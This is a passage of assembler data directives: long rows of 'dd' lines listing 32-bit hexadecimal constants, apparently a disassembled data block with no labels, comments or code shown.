dd 39F5830h, 55679701h, 0D392ADBEh, 0F043B0C1h, 0D03E90FCh
dd 0C2AF80A3h, 0B5EC4FFh, 0B07A71FAh, 40DF1E04h, 4B754081h
dd 5B217E86h, 10D34430h, 3DA6B055h, 478079EFh, 9A62BCA3h
dd 0D8986C5Ah, 0A035EF0h, 70105BDAh, 64700163h, 1507688Bh
dd 529880E2h, 0CEE95C3h, 0C85801CDh, 0E0048E4Eh, 0DA10FC06h
dd 0E5AAE00h, 3F8B7526h, 0B7ECB3h, 0CFE2B113h, 6C56C33Eh
dd 70577800h, 0F40EF69h, 0B5E51ED4h, 0C0B8058h, 0C8559C1Dh
dd 51A6BCA0h, 0BF9B2500h, 0BADB430h, 301260FCh, 0A3AA1EEEh
dd 0B6425C07h, 8410FBDEh, 106F32Fh, 0AE700307h, 93F9B4F8h
dd 4C007336h, 0FD57B0C7h, 0B72E4CE0h, 0FA4B8C00h, 3EE44D9Fh
dd 23002D79h, 5991A3B7h, 980D5CB5h, 52E0315h, 99525DBDh
dd 95C0FFFBh, 4F0043D8h, 0F3418BFCh, 1BD93Fh, 0CA790A01h
dd 0D355AC9Ch, 0FCB53404h, 66808132h, 0D2677Dh, 4E80EDFFh
dd 0AFC2D905h, 1E4DD38h, 9FBBBACEh, 0EAF0C794h, 9D180F70h
dd 2CAF7A79h, 16524360h, 6701B2C5h, 0BEB09E46h, 15F8D7D8h
dd 0DE7C0078h, 341EE0B9h, 0EF009A3Ch, 2A0C3575h, 83C896h
dd 591A72E2h, 8A1DCE2Bh, 0FA044100h, 0C834BE30h, 8352009Ah
dd 0A12ED54Dh, 0B5008AA5h, 0B80C4F46h, 0E303ACEh, 626D5736h
dd 0D8B11A20h, 0B200617Ah, 805AE7DEh, 60147505h, 0BA5E11BFh
dd 0E26C559h, 0F43971CAh, 8744F104h, 9F811C1Ah, 608EBB8Ch
dd 6FC01511h, 2E966227h, 0FF1C6B03h, 80A6350Ah, 5C9D0B4Ah
dd 6A1FB47Ch, 81A3C2DAh, 8C4076A1h, 0D439FF91h, 592483DFh
dd 0C8584D96h, 855F31h, 0EFAB0223h, 1289C806h, 1E66A917h
dd 6A423F00h, 7BD2FD7Ah, 244E007Bh, 6852AFCCh, 0D02461B0h
dd 0B0070CAh, 0A569D3Bh, 56416AAh, 51A840D7h, 6AC33FC2h
dd 823A3190h, 5F53AE0h, 46250771h, 0BFCA2890h, 6038BA92h
dd 16AF160Ch, 0B207E63Eh, 38280206h, 0CE56FAF0h, 6E4400F8h
dd 0CAFFE2FCh, 3A07F1DDh, 770770D1h, 0E85E49A0h, 62F3974h
dd 2B948500h, 71A9B9CBh, 60096300h, 624A1436h, 4C3700BEh
dd 0BFBA8768h, 1B374399h, 0E587902Fh, 38007E6h, 82F367D7h
dd 0D0E79B33h, 8B3AC709h, 20209932h, 0C939E086h, 660A0B5h
dd 0C46CA17Fh, 52ACF980h, 22CA4CF2h, 0BE299360h, 79848Eh
dd 0EB2ED755h, 26066AE6h, 770030FAh, 8B3153B7h, 8CA04Eh
dd 95C6D547h, 0FFC481AFh, 941EAA00h, 0F81592E9h, 6C1000F5h
dd 0A83A8D1Ch, 0EB00A56Ah, 6F4BF60h, 17B97BA0h, 0E36866h
dd 37050B90h, 0A6093DA3h, 0FCCBFBh, 89A924CCh, 3BF10193h
dd 22D8A73h, 0FD9340BCh, 1339E251h, 2CA48E23h, 6AB9607Ch
dd 72475C1Bh, 3A5100E5h, 0A02DA5E0h, 713C0627h, 0B3E200E3h
dd 0BDC6D468h, 5B88A9E9h, 0D73420h, 2C8DE8BEh, 97943C4h
dd 0C5E03907h, 25D0CDB4h, 79F5414h, 0D132F5A5h, 6D934005h
dd 0FA00B665h, 57D8F2BFh, 0B87876h, 81381B82h, 5C09058Bh
dd 6E25FE00h, 0D13C40A0h, 9B9EA8Fh, 4BBA9133h, 4418E040h
dd 98A33607h, 4250E0C5h, 16F2D09h, 0AED5FEDBh, 0CA0479A4h
dd 6B050459h, 80EA5FB1h, 461A5170h, 0A3229500h, 0BCE16C4h
dd 0D98400A8h, 5B333136h, 4B00D6B3h, 980322E9h, 3C71E601h
dd 0D700C119h, 0E293179h, 0AD063E73h, 0FCDE5362h, 1CCF0290h
dd 26FD4709h, 6AB1CC40h, 7055B14h, 65E705D3h, 3480159Ch
dd 0E8BA84h, 236EB78Bh, 1ADF7DD2h, 0A99A4502h, 50C39549h
dd 37720028h, 38EFC628h, 48B0C4ADh, 0CCE78139h, 14DB0120h
dd 0C84C8C57h, 5100082Ch, 0F3A2A901h, 3F009EE9h, 0EE802628h
dd 3FBAD144h, 88FC790Fh, 577EF0B7h, 0D2138800h, 6FE4B08Fh
dd 93752Fh, 86DB43C6h, 0E5AEB5EBh, 678FFF00h, 0FAE8084Fh
dd 0A8A160DDh, 62552C94h, 80E4CC3Fh, 0E271FBABh, 0F48EF66Ch
dd 2F6000F8h, 0ECA805D4h, 3C0039B4h, 0CCEBE75h, 0E91501F0h
dd 344EDCCh, 8A8034A8h, 0FE80D80Eh, 0A5007912h, 0A9FC60D6h
dd 2BE577h, 32D9FA35h, 3E4B8344h, 0ACE8C700h, 1D88DCD3h
dd 5BDF018Dh, 708CF8B7h, 0D257F884h, 4301DD79h, 23A4EC72h
dd 0C8727DC9h, 0CF80513Dh, 0A68E2E98h, 0AC1BDBB2h, 0F0F8B43Dh
dd 57CE6FAh, 9E966E11h, 0E448C9F7h, 7F000185h, 0EBE9008h
dd 0F51659h, 370D7B67h, 976DDB81h, 0A0F9B500h, 0A9B145B2h
dd 3C91018Dh, 0C34F6070h, 1C28343Bh, 7101C8B0h, 15E199FCh
dd 2560F91Fh, 12DB0B89h, 0CA8018D8h, 0C5BE243Ch, 20315B01h
dd 372FE533h, 3A03F6FCh, 28858BD9h, 0FE42B8h, 7D60C2E4h
dd 0D207A281h, 0FF2FC83Dh, 98380Ch, 37650956h, 6EE084D1h
dd 1D6D1A00h, 0FDAE4D14h, 1C79270Eh, 65521420h, 434E3467h
dd 0F7883C00h, 0C19669D6h
dd 0FB93B211h, 0E8B880AFh, 0A77E903Eh, 26ECC1h, 0F0BA3625h
dd 6DFF9A09h, 0BCDDFB00h, 0B4A015D3h, 0B8910008h, 84AC2D72h
dd 6F1644BEh, 0C0004CE4h, 0E138067Ah, 891207C0h, 6081342Bh
dd 6DD5C950h, 0B8078D72h, 8AAEE575h, 607905B0h, 4FD30039h
dd 0A7101B7Bh, 900009C8h, 1FA642BAh, 0C143D9h, 7237CB85h
dd 2B2CF5Eh, 76B58000h, 7F69AE91h, 30BD0078h, 0D5F498B6h
dd 6B0029B7h, 6C5BF1FBh, 0FD87518h, 0B05FF022h, 0E2F7D4E0h
dd 45EEBC7Ah, 0C5434100h, 0B56A259h, 16991D3Fh, 20FCC06Dh
dd 0AB09B847h, 29131B12h, 27242700h, 48C6D7h, 9F1AEFB3h
dd 15B402AFh, 64C3A800h, 0C02FF53Bh, 38C0292h, 0F61F29B6h
dd 0C2532EE0h, 0ACED1300h, 0F3C57DABh, 1BA3E856h, 1081E2A4h
dd 4FCC41F0h, 969820h, 53A98B9Eh, 174AF17h, 683F4504h
dd 0FAC363DFh, 0EB50D06Fh, 0D58D005Ch, 9F2D6B39h, 310054A7h
dd 46EEC65Bh, 13BA24h, 0F10C7401h, 1060B7D4h, 8B67100h
dd 6A288B66h, 0DD8348BDh, 99066C00h, 195BCAB5h, 0F4617717h
dd 24C0191Dh, 79AE3DF1h, 33950097h, 0D6DD0AA1h, 1500F89Eh
dd 301B05Ah, 0E4FCB5F3h, 3DB700A5h, 0CE38D03Eh, 4C004A19h
dd 53AA7A3Fh, 2E9E43h, 20587671h, 7C9B060h, 0FD32EF1Fh
dd 61100280h, 0A598Ch, 6AE25BC2h, 1CDF9572h, 0F93358h
dd 91367CA4h, 0C9C0ABh, 0EFC9B2Ch, 421F5FA1h, 0EF965B00h
dd 85BD9EAEh, 0EDEECCh, 0A931B138h, 0FAA2C803h, 0D205AAFEh
dd 41DAE8CBh, 5589E582h, 76942760h, 7A741090h, 2B6C9205h
dd 0C4077E24h, 7C61FDD6h, 0AAD81A39h, 94BE00A2h, 0E60A45BDh
dd 6900420Bh, 0D75FB2E2h, 7797D157h, 479C0063h, 0C96A121Dh
dd 0B0EF5E3h, 803591C6h, 0E764EA7Ch, 4E320767h, 8080813Fh
dd 282D982Eh, 0D8F6E100h, 364A5247h, 0A6DE00E7h, 7533B5B9h
dd 31016EAAh, 2E65C41Eh, 0DC4FC4Dh, 0AE060588h, 55265Dh
dd 7305609Ch, 1763502Bh, 0D86CDE72h, 13F88Fh, 2FAE2532h
dd 8D6A63F4h, 9CBA0B1Dh, 4E58013Dh, 0F11642D4h, 49B220F0h
dd 76036011h, 6C94098h, 6B1A9800h, 0A381AE2Ah, 270100EAh
dd 3C1053A2h, 56007FD9h, 6FD3CD82h, 97C67BDh, 2D6DB765h
dd 8761EE01h, 0BF5C207Ah, 0F9A82200h, 32C9DAF6h, 7E75EBh
dd 75E9E1F1h, 434DF841h, 0BD44F324h, 54E64900h, 73CA07Eh
dd 87B18539h, 250A905Ch, 76F4A36Ah, 4A923A00h, 0FB5EC509h
dd 2A4C0B24h, 990AB4B5h, 0F229007Ch, 87158D4Eh, 3624D500h
dd 286988Bh, 5E560C50h, 0DC28F285h, 8E208967h, 0BF2A2E1Bh
dd 713B05BAh, 8800AB16h, 0EE6320DBh, 25A30FC3h, 19D3E33h
dd 81E8639h, 9851F0D3h, 0BE15B909h, 0ECB70389h, 0F699F8BFh
dd 0DDF2DBh, 9554904Bh, 73A21F91h, 4C0C7A00h, 1CA5EAADh
dd 8996019Bh, 57DD7B0Bh, 337DD0E6h, 0C5F03Dh, 694886DCh
dd 1DDE723Dh, 0C06855B8h, 3CE5FFA7h, 0E2003EE7h, 0C98FF15Ah
dd 7CEF7E22h, 1BB0F7h, 0EB721BA0h, 8F389411h, 117E23Ch
dd 657BB60Ah, 67D08E77h, 95402A0Dh, 1C545410h, 0EF6E003Eh
dd 15EADD1Dh, 883A173Ah, 0A81B808Eh, 7FA5ABEBh, 0FFFC017Ah
dd 0C865DF5Eh, 0B9E0D3B3h, 3D004878h, 6CB51FB0h, 0F19A2AFh
dd 257B6B89h, 154930E0h, 5A0776A4h, 9E0BD0DBh, 66722FE0h
dd 0D21A00E5h, 0C7DCEDC4h, 423D6729h, 7DDA079Ah, 7EAB98h
dd 6E8D362Ah, 0AFA26h, 0EECF1618h, 7CB85CCBh, 0A70076E2h
dd 9E3227E2h, 721EBC8h, 2AE4D41Eh, 0E8BF302Eh, 0EA00807Ah
dd 3570FD5Eh, 2DB7CA76h, 0FBF07E4Dh, 0D86FB009h, 8453086Ah
dd 0E9E54700h, 0FFDE33h, 59BD4EC8h, 0FE996A74h, 0D7E61F00h
dd 2F877E15h, 0CFA001Ch, 0BDDA3F25h, 3300268Ah, 1980E4E1h
dd 0C664253h, 0A95CB701h, 0DE00ED8Ch, 1778BBA0h, 3B86B0h
dd 0B9355FB4h, 492D386Ah, 4AD97C00h, 0E908FF4Fh, 0DC0D1EA4h
dd 2CEB4039h, 8B7EFE3Bh, 740F520Bh, 507B83A7h, 41EEC033h
dd 83030075h, 0D077E1BAh, 55006A05h, 0A221FDDEh, 46E6DCh
dd 97D86DDh, 0FCA990FBh, 0C1A50400h, 0E8571741h, 4BF90F33h
dd 0EA005C81h, 3DC8BBACh, 0FE8B1B17h, 7047B0h, 83D5D3AAh
dd 5C3B9D1Ch, 2F333Fh, 0C2C19F0h, 3D8F7761h, 63002658h
dd 22868066h, 0A800E141h, 4992D957h, 3E21DB24h, 98E094EDh
dd 33DD47F1h, 0B06F2A03h, 0E9D25h, 416E0348h, 36698AB8h
dd 1A66A012h, 27AC5847h, 0D9889D90h, 4F4C1C6Ch, 0D7C600DDh
dd 0FB8FF092h, 80AE6539h, 0AA56D643h, 0FC896291h, 23B400C9h
dd 1E32AD68h, 7F24A4EEh, 1DB97C05h, 6EC753CFh, 39C133EAh
dd 0C0FA0212h, 1A6237Ah, 1577CF4h, 0B8B40E7Eh, 0C01580A0h
dd 23C33A93h, 2C290AFBh, 0B76926h, 0E2C61D1Fh, 59601E67h
dd 8C4D70A0h, 0E7F50052h, 0F06A033h, 9500574Ah, 7327BBCAh
dd 0EE6CE655h, 8C463AB1h, 0BAA21381h, 0E04B0C78h, 5800B0ADh
dd 0E174E5A9h, 1E4A02h, 63DC8F94h, 9F3A1A46h, 96148800h
dd 0CD62E6C8h, 29D8616Dh, 0C827B643h, 0AB0079B0h, 9587A818h
dd 4C2A3DBDh, 0E84C1015h, 47001C38h, 38074849h, 0B001CDC6h
dd 6D3DF078h, 0EC205AF7h, 57713314h, 0BCE0E4D0h, 0FF01901Ch
dd 428BF802h, 0D040C432h, 0C0792DEBh, 0B25E85B8h, 0BC010993h
dd 83743865h, 0A047B567h, 0B313E7B0h, 0AB8ECC9h, 726CAE50h
dd 0E6C08090h, 9E39BFEFh, 400AF103h, 0F0EB5643h, 303F723Ch
dd 928F4BDh, 58078E12h, 0B06ABAE5h, 2B39DE60h, 4ABE0E5Dh
dd 0B7E4D6EDh, 9020805Eh, 1A8011C4h, 52350327h, 88C21882h
dd 0F0CB47F8h, 0A4B37A00h, 4695CBAh, 0D4BE00F8h, 0F1C82BD6h
dd 0C9541CFDh, 8706BCA8h, 0BFCC8B94h, 3FB00789h, 0A936A864h
dd 147B2C02h, 29B5F921h, 0C0B712E4h, 32FAE3F9h, 0D800E622h
dd 0F160DC21h, 2A5D69DFh, 80829Ch, 0D35F16D0h, 0C1DE7064h
dd 5773F800h, 5D29996Bh, 44E83DE3h, 0C99DE900h, 7D3B0297h
dd 8DB55B00h, 0C740B75Eh, 0CAFE0345h, 5CE57A0Bh, 0CD088AF8h
dd 0E3E80104h, 6CD72F37h, 1B95A560h, 0F9D20096h, 0EBE84D72h
dd 49383A24h, 0D3690047h, 981052EAh, 0C9560028h, 12430FB0h
dd 0E92EC891h, 87006260h, 0FCE7CB2Eh, 0DC270E0Ch, 7900BEEEh
dd 0D5A5BCECh, 1C3E900Bh, 0E790165h, 13CC15E7h, 41F002E3h
dd 1DCC3D87h, 0B083A043h, 0C4F419D8h, 0D2510F0Fh, 7E92E0E2h
dd 1471095Ah, 0AC1046DFh, 5AF5A218h, 247F5364h, 37E81200h
dd 0DCFCBF82h, 112F1E35h, 85FB405Dh, 33AC4A98h, 0B9A7F500h
dd 0CB74251Eh, 0B7D300CCh, 170FC9AAh, 570163A0h, 712BF4B3h
dd 64247899h, 0A7F60360h, 1C594A51h, 0B2DFE9D8h, 0D9F0FE0Fh
dd 3856E069h, 0E709ED2h, 0CFFCAA77h, 109CE506h, 0E7BC1D00h
dd 0D3C8860Ch, 6B3774B1h, 2B02CCACh, 7C60CEE9h, 6998E53Ch
dd 2180F49h, 25A646CFh, 151C6927h, 774EEF8h, 8A58CD30h
dd 0B7A40096h, 0EF14BCEBh, 0CFC72Ch, 0F9301A84h, 1CE64065h
dd 1C0D2ECh, 0BE0AD0C9h, 33E04034h, 0D6E62BD3h, 891E4700h
dd 0E99BC3B9h, 0CE2601A2h, 0DF6CC94Bh, 0A70E9FECh, 0DA777C03h
dd 0BA31A883h, 1F0703DEh, 0A3148CF9h, 0BE4B3F90h, 0AB2FC300h
dd 1AAC39B7h, 1E230FE7h, 11780809h, 0A003C51h, 7CADCE47h
dd 7736C35h, 6594DA3Dh, 0F6247230h, 4B5FE490h, 3CE93B00h
dd 0FA3DA243h, 8D33009Bh, 0B82DC58Ah, 470B9545h, 38B57EEh
dd 80895890h, 447012h
dd 0DB8FAB60h, 0C6238192h, 2102F500h, 0D1F32528h, 56410019h
dd 0B40AF894h, 157C6E7Eh, 0AD956709h, 920500E7h, 0DA96A5h
dd 0C5242097h, 9C1A1DF6h, 0EB00189Ah, 0C9B21F67h, 696DC4h
dd 2003F03Fh, 0CD572729h, 28781D0Fh, 0DDB540B7h, 0E0685Ah
dd 125C0D16h, 434DBD06h, 0BEEB7000h, 0A576439h, 5ACB0BF3h
dd 0BC90A355h, 8900919Ah, 70DEBC65h, 2A933CF4h, 4010A556h
dd 26B04C8Bh, 3A6B0A3Ah, 0DADE2C3Bh, 60A9E618h, 0E57E7FA7h
dd 0B80DF870h, 0ECFB00FCh, 5409A0B8h, 450EF16Ch, 20947D05h
dd 43078999h, 0E8F83DC6h, 6480D93Dh, 22F53FDBh, 6000EF6Eh
dd 0A387E54h, 0D026688h, 775EB820h, 420CE158h, 245133CAh
dd 6C8A510h, 7CE003Eh, 607BD80Bh, 44920053h, 45042573h
dd 0B71E11D1h, 594705EFh, 0C2303D72h, 0D409F9h, 0ACA4C647h
dd 764C2051h, 0ED12900h, 9E77FEBBh, 894000Fh, 578A662h
dd 0D70FABE4h, 86CAA75Bh, 0EA8A4h, 8A7B6BA3h, 700B8DF7h
dd 562E2D0Fh, 2140DD48h, 0CF74A589h, 33DFECBh, 0BBFA621Eh
dd 9B80A1B8h, 0B3001D0Dh, 28C6B154h, 0F458E92h, 2109C18Ah
dd 0EBCD0F97h, 0F7FF48Fh, 1F83C034h, 18FE6FC3h, 77F53826h
dd 1003037h, 3E5A7F9Ah, 2D103990h, 364C0F7Dh, 28818699h
dd 1F97F008h, 0CBBCCD43h, 0E680DB37h, 57A67B6Ah, 846F990Ch
dd 96292Dh, 0BE9430C2h, 0AF4813B6h, 217909CCh, 30A914F6h
dd 5800A465h, 0D89CA006h, 0C331FB4Bh, 7FD3A02Eh, 7EB7108Ch
dd 30F332C9h, 6001791Ah, 7129E181h, 0EB3031F7h, 3C0930C4h
dd 78D1217Eh, 0DD944C0Eh, 0C02B4F35h, 42BD22F9h, 0B7F500EBh
dd 82D53FADh, 0FD7697B0h, 129D4D00h, 10C06C5Eh, 0E4080042h
dd 27134C75h, 33006DD7h, 6EF1FEAFh, 10912D5h, 2AFD76BAh
dd 0CC1BF84Fh, 0E0099A0h, 4020C478h, 10ECE8h, 7CFFD555h
dd 82CB16D6h, 0B2DE442Ch, 3CE41400h, 0F6D9AEFEh, 77EF004Eh
dd 0F373A1D8h, 8747404h, 66D6D001h, 9B1B20BDh, 3570CCh
dd 0D51A957Ah, 0DB6B2E6Fh, 68007FFEh, 0BE54F038h, 968143h
dd 0A126211Ah, 9A44E3CEh, 47002B79h, 0C2B4A9BAh, 7556517h
dd 0D7035DA7h, 6080DFB9h, 7FAFE3E6h, 90773FAh, 0A75D6C01h
dd 58F216h, 84C4636h, 7E726694h, 120FBC0Eh, 0F42B40E0h
dd 326FEEh, 70362629h, 5A28EA02h, 2D09A800h, 8F9EAD75h
dd 59655871h, 0AA03F700h, 4F0D551Ch, 0C0814728h, 0FF8C0700h
dd 1DC22C12h, 41DC38h, 8384B804h, 710CE5CBh, 30D10825h
dd 0E2140046h, 0D6D8FC3Eh, 0AF00A88Fh, 7E98FFC6h, 796E7409h
dd 6DDE018Bh, 0C387D3ECh, 0B3E06A14h, 0E5F8379Bh, 20F4F061h
dd 4200C7B6h, 9EEBC23Fh, 4FB801h, 62490F36h, 544BA593h
dd 9CFDE400h, 1F2460C8h, 902D6012h, 2517DA9h, 6AA2AD03h
dd 77B3Bh, 0B3A463A0h, 0DC5A610Eh, 8F602F00h, 5034C58h
dd 0D0EA3074h, 5C870481h, 0F5552900h, 9C067BB9h, 95C1141Fh
dd 0B004EC24h, 807CDD04h, 274CACCFh, 0CF34701Ch, 4FD98171h
dd 0A28853h, 0DBF9DFE0h, 48A9FED8h, 64FCEA0Ah, 1E00E0F3h
dd 664E7FDAh, 0A0BB0EB5h, 0D360F8ABh, 17CD970Fh, 7A863101h
dd 0F11E761Bh, 833C24h, 0DDFB7D0Eh, 56F2A5A4h, 0FC1F19C0h
dd 2EE4AACh, 256E4E92h, 0D5607071h, 9EFA57E3h, 0ECE75818h
dd 2658B78h, 8A423A4Dh, 90A5B5DCh, 120AC183h, 23AAF3B9h
dd 43A89680h, 3E16F0BCh, 901C4B4h, 9D1F12FEh, 7880D5D1h
dd 2F8A5250h, 930021AAh, 6EB108CAh, 18767EA3h, 29AB63C9h
dd 7400B856h, 5CDC1EFBh, 7F90C65h, 0A72283BAh, 7652A0D3h
dd 23008A2Eh, 24A6AAA2h, 0CD9E1Dh, 0CAC36F3Bh, 0E9144F31h
dd 44116D00h, 58FD88F6h, 36900Eh, 0AB1E2BF7h, 471986C6h
dd 36C14200h, 54C3639Ah, 437400BFh, 356DCDDEh, 98902AC6h
dd 8001CB38h, 2F2C88D0h, 2119843h, 9A1780D4h, 43B1A2h
dd 998A40E8h, 3574751Ah, 0B49243A8h, 280840D0h, 38472FCh
dd 9ED91E8Bh, 0EEF870D6h, 5671957Eh, 0AFC0E500h, 77E77F8Ch
dd 68D60009h, 0C8F34ED1h, 9C92B007h, 13F4A58h, 0C4093381h
dd 4424407Bh, 71B70334h, 133D1B14h, 7CC32C0h, 0BD64721Dh
dd 0D8D3DE00h, 660439h, 2388E0D7h, 0F3C05498h, 2D7A0600h
dd 1061D30Ah, 73D10037h, 0B53F193Eh, 0B2E4999Bh, 0C6014CF0h
dd 60C4CC67h, 0F820C20Eh, 1CFE06D1h, 0EC902BCBh, 36B89100h
dd 23E0D6C5h, 0A5EF0056h, 5DAEB7C4h, 0A8C00672h, 52C16586h
dd 64B9D0A7h, 0E1B2EDA0h, 0DFB5B801h, 241907ECh, 0D1C5F440h
dd 0FD182690h, 1DBB9F38h, 4C5E00E4h, 8E41CE21h, 0ECA350C2h
dd 96C480DAh, 607CB47Dh, 0CBF478F9h, 482CAA9Fh, 0C600DBF0h
dd 55844146h, 0FA7DDEh, 0ECAB93E5h, 2EE2D682h, 1D53B12Ch
dd 44F51A00h, 29DEB79h, 8726CA37h, 9D61ABB8h, 89F0704Ch
dd 651F6C01h, 0C0668671h, 1DC834h, 5480A0E4h, 75431074h
dd 5B1C0200h, 0B0E9A215h, 3EF817h, 7E0CFB81h, 11C6734Ah
dd 0C25A9B00h, 0C306403Dh, 0B55F0080h, 5E8E779Dh, 0F371AAE3h
dd 0E2BF0E00h, 61213CA0h, 89E500EAh, 65CE7D85h, 7FB0FD92h
dd 3444182Ch, 0A52A2100h, 0BF45CAh, 0D6291E8Ch, 4C48646Bh
dd 0E7766C00h, 0A614D9E6h, 0CADC303Ch, 9B05ECCCh, 920E1AF8h
dd 40D7EEFCh, 6E386B39h, 47A75h, 1918F8A5h, 2911BC73h
dd 0A31A4607h, 0B2C1FD30h, 79FCC5D8h, 3D1F00C0h, 8E6020BFh
dd 74016B16h, 8DB0C3A8h, 0EDE03AB2h, 8760056h, 330AD468h
dd 0C4001B01h, 885181B4h, 73B915h, 0FEDB7219h, 7AC0B03Eh
dd 80017F3Bh, 130DCD42h, 63F6BD5h, 7582F243h, 40026854h
dd 79CB99A1h, 18586864h, 1B7D0B8Bh, 0B42A41DDh, 25DB0902h
dd 0D33C2Eh, 0A42648A3h, 56000CB1h, 0B936DA53h, 4113C1h
dd 4FBBF06Ch, 9B617A72h, 0D3037803h, 0FC302189h, 0AD2008C3h
dd 82CDD880h, 0E1D206AEh, 80C0A5A9h, 83033B01h, 21359F48h
dd 4AF05875h, 0E2B30077h, 377CDE85h, 0B42C6148h, 9C940863h
dd 0BD5E0114h, 0C548EB54h, 6F845130h, 0A50F18AAh, 6C3C409Fh
dd 49D3BA0Bh, 477A4E00h, 735A35B9h, 0EB3402B0h, 22307868h
dd 1ADC0880h, 68C451C8h, 4C8383CDh, 3801A5B2h, 63AB0D12h
dd 0BAB97A13h, 0D174E4D7h, 0D467CD09h, 500A1BEh, 504263FEh
dd 48560042h, 26503064h, 442A5028h, 3360C4B3h, 78A8E548h
dd 9E6B008Eh, 606FBAEBh, 0F300AF36h, 470B38C2h, 0E0DF2F7Ch
dd 0CA610056h, 74679E7Fh, 9A77459Fh, 708EF2Ch, 0D8BC0900h
dd 6D764Eh, 80EA9765h, 0E2A97ABFh, 0C2C34903h, 0B0E189F8h
dd 0AB4E2Eh, 87DB576Eh, 0DEF4B783h, 4DB4A600h, 63D7DA97h
dd 15F91E4Ah, 3FB3EF2h, 9046CE82h, 0B0AFAB0Fh, 87A267E8h
dd 0BD25B200h, 9541455Fh, 0D78830ADh, 0FF3D57E8h, 525D8E00h
dd 5080AC1Dh, 1A4F601h, 0E7530DB4h, 2F733517h, 952BAFC0h
dd 7CD100D5h, 0FEABD36h, 1001DBB8h, 38CE5960h, 0CCC0E004h
dd 15F4E1h, 913C3F96h, 26AD716Dh, 1864A912h, 1CE409Ch
dd 9B42FFB2h, 0E19793F0h, 34D0EC3Ah, 1EC41907h, 0EB306058h
dd 0F19F32h, 0E4C6B361h, 1229A5C3h, 207BAC12h, 16B9A201h
dd 8C205183h, 2D960073h, 4602587Fh, 0CA7E8DCCh, 0BB00F477h
dd 56C63C9Dh, 0B22BF59h, 26FF9C20h, 5349E000h, 0D100A107h
dd 0ADAC98E8h, 3F524074h, 8C806E3Ah, 1D8482DBh, 9A634771h
dd 0A072F768h, 0D7C9A4h
dd 775180B8h, 167505Ch, 80E6500h, 0DAB221CFh, 0D8E071h
dd 0F21F14F9h, 0F34BCE0Ch, 0FF33D600h, 993A9B5Bh, 13F0EE8Dh
dd 7CB1D9h, 0E85A7575h, 0DC0069A5h, 0E240B43h, 4A3F84h
dd 41F96A97h, 8D35A074h, 3EDC4C01h, 330717C5h, 0F8BECAE8h
dd 0B2160067h, 0C33BEDB5h, 82FCDA73h, 89502300h, 0EB8112B1h
dd 757870B2h, 754A0FF7h, 0F9E06408h, 507A0CCh, 0D52C7600h
dd 563B8F13h, 0F3600002h, 0EF2D3C30h, 0A07FA57h, 68F0B68Eh
dd 0A04F42F7h, 4CA036E2h, 0FDF10012h, 0A311C8CBh, 0D1001069h
dd 0FF321A24h, 3B73B7h, 3C7BA4DCh, 28A2FEF9h, 8D87B600h
dd 6DB29D2Dh, 7F160744h, 10AA506Fh, 0B4DC3EA5h, 48ED9003h
dd 5D9EC8h, 642228B4h, 0F08EB826h, 0FC0154F4h, 82A1153Fh
dd 0ACCC1B8Dh, 0F0797F69h, 707E00ADh, 85CFBE30h, 5E00A30Fh
dd 2218B052h, 0E1F7D0h, 749B798Bh, 0F1435102h, 666FBB00h
dd 0F3D5C9D9h, 5BDF0297h, 732D7B4h, 55EBD080h, 0E20047CAh
dd 0F28E5D34h, 7F7F0ADh, 8D16CB8Fh, 0C385E0FEh, 843E9C9Bh
dd 50BE0364h, 0EBCE5FD5h, 0FDC4D06Ah, 0EAD0E72h, 0BEAFB822h
dd 17AB62C0h, 1800F1F7h, 15CF1FDAh, 3EEB071Ah, 4F94B1EAh
dd 0B407D5EEh, 33EFF63Bh, 0D2D8D668h, 2160CB5Ch, 0E3DD6EF4h
dd 5131095Dh, 0A07BA01h, 9CAA30FBh, 0C24F1DEh, 5006322Bh
dd 4E484Bh, 1339650Eh, 3E3FD371h, 0D67FBF0Fh, 0DD5A017h
dd 1983E3h, 1A2ED1FAh, 0F629230Bh, 11782401h, 146C215h
dd 30F41CE4h, 77B18039h, 4E01EF63h, 0ECCC8D0Ah, 18801609h
dd 1D221C44h, 0F500709Dh, 59FF8C33h, 0F299C51Eh, 3626003Bh
dd 0D566CD04h, 0A41C8642h, 4E52F701h, 926E5043h, 1E04D863h
dd 842101CCh, 76959EAEh, 0FF4C4A1h, 3581BA01h, 5436C9BFh
dd 0B508F06Ah, 329D23Fh, 3ED71337h, 97B3D8B4h, 0FF550325h
dd 859C99BFh, 0D9BE5888h, 0C92DA000h, 87CF023Ch, 0DE8601D5h
dd 0F963B72Eh, 0F736E0CDh, 0E1EE4573h, 8BC3AE04h, 0B5C056EAh
dd 0B0B7A0B6h, 2134000Eh, 0E487D393h, 0ED3FD252h, 62DA8076h
dd 0FFA24EAAh, 111000DFh, 0C6DB0A5Bh, 0A800540Dh, 514B62F6h
dd 97D7C6Ch, 0A79B4831h, 0A0F1AF80h, 0A9FAFC85h, 30E8701h
dd 172FF0E1h, 75644570h, 5C742Ch, 8FDD3FC7h, 574781D8h
dd 456E6500h, 698C7105h, 54070002h, 4DEB802Ah, 892C92FCh
dd 3F014013h, 0F261D020h, 0E40A94D0h, 0BC780F0Fh, 1F4031D9h
dd 0C56011B6h, 0EC66C403h, 0A7190850h, 0D646C150h, 45DD0689h
dd 9862E6E2h, 0D88BD72Ah, 0F9043Dh, 40F6FCBBh, 447338Eh
dd 0A682FE66h, 1180C067h, 0DF03646Ch, 30854CE9h, 461A821h
dd 0A07F49E5h, 27A70F09h, 0F2E32020h, 1D48ADF9h, 1849C0B0h
dd 141623h, 7A278C29h, 0FEA7E2A0h, 0B0633B0Dh, 42C4C0D2h
dd 0B930C062h, 0AFD4E9EDh, 0FBE78D01h, 79DA0C1h, 0BBEC24h
dd 0B3ACFEA4h, 79E56758h, 993E451Eh, 0E232A640h, 1071954h
dd 21E43DD6h, 6E0646A8h, 0AA085B80h, 739907F9h, 0B74B87BBh
dd 0C0F1C4EDh, 0A3153DCCh, 2437C33Eh, 842440C4h, 0DB916900h
dd 22EDA68h, 0D4F866B6h, 1840C539h, 0F9003DB4h, 33B327DCh
dd 4D1B92h, 0C5D1DA46h, 67AEC961h, 2D4AF000h, 7C6EA843h
dd 0FBC70704h, 80E9D026h, 20F8FF52h, 0E21B3128h, 0CF7CB200h
dd 68C7FB09h, 4A5600E9h, 0CE1CAF87h, 5038F391h, 98E400E1h
dd 0B9744DF4h, 0CBA71D7Eh, 6A2E0396h, 0DE3EABBh, 7D621BC8h
dd 668B7400h, 9F5E0F26h, 59BC0008h, 51F1A9C1h, 8100E19Ch
dd 8BFB3CB0h, 0AB1DBA7h, 3306EC5Dh, 0D81E8Fh, 0E2C16AC2h
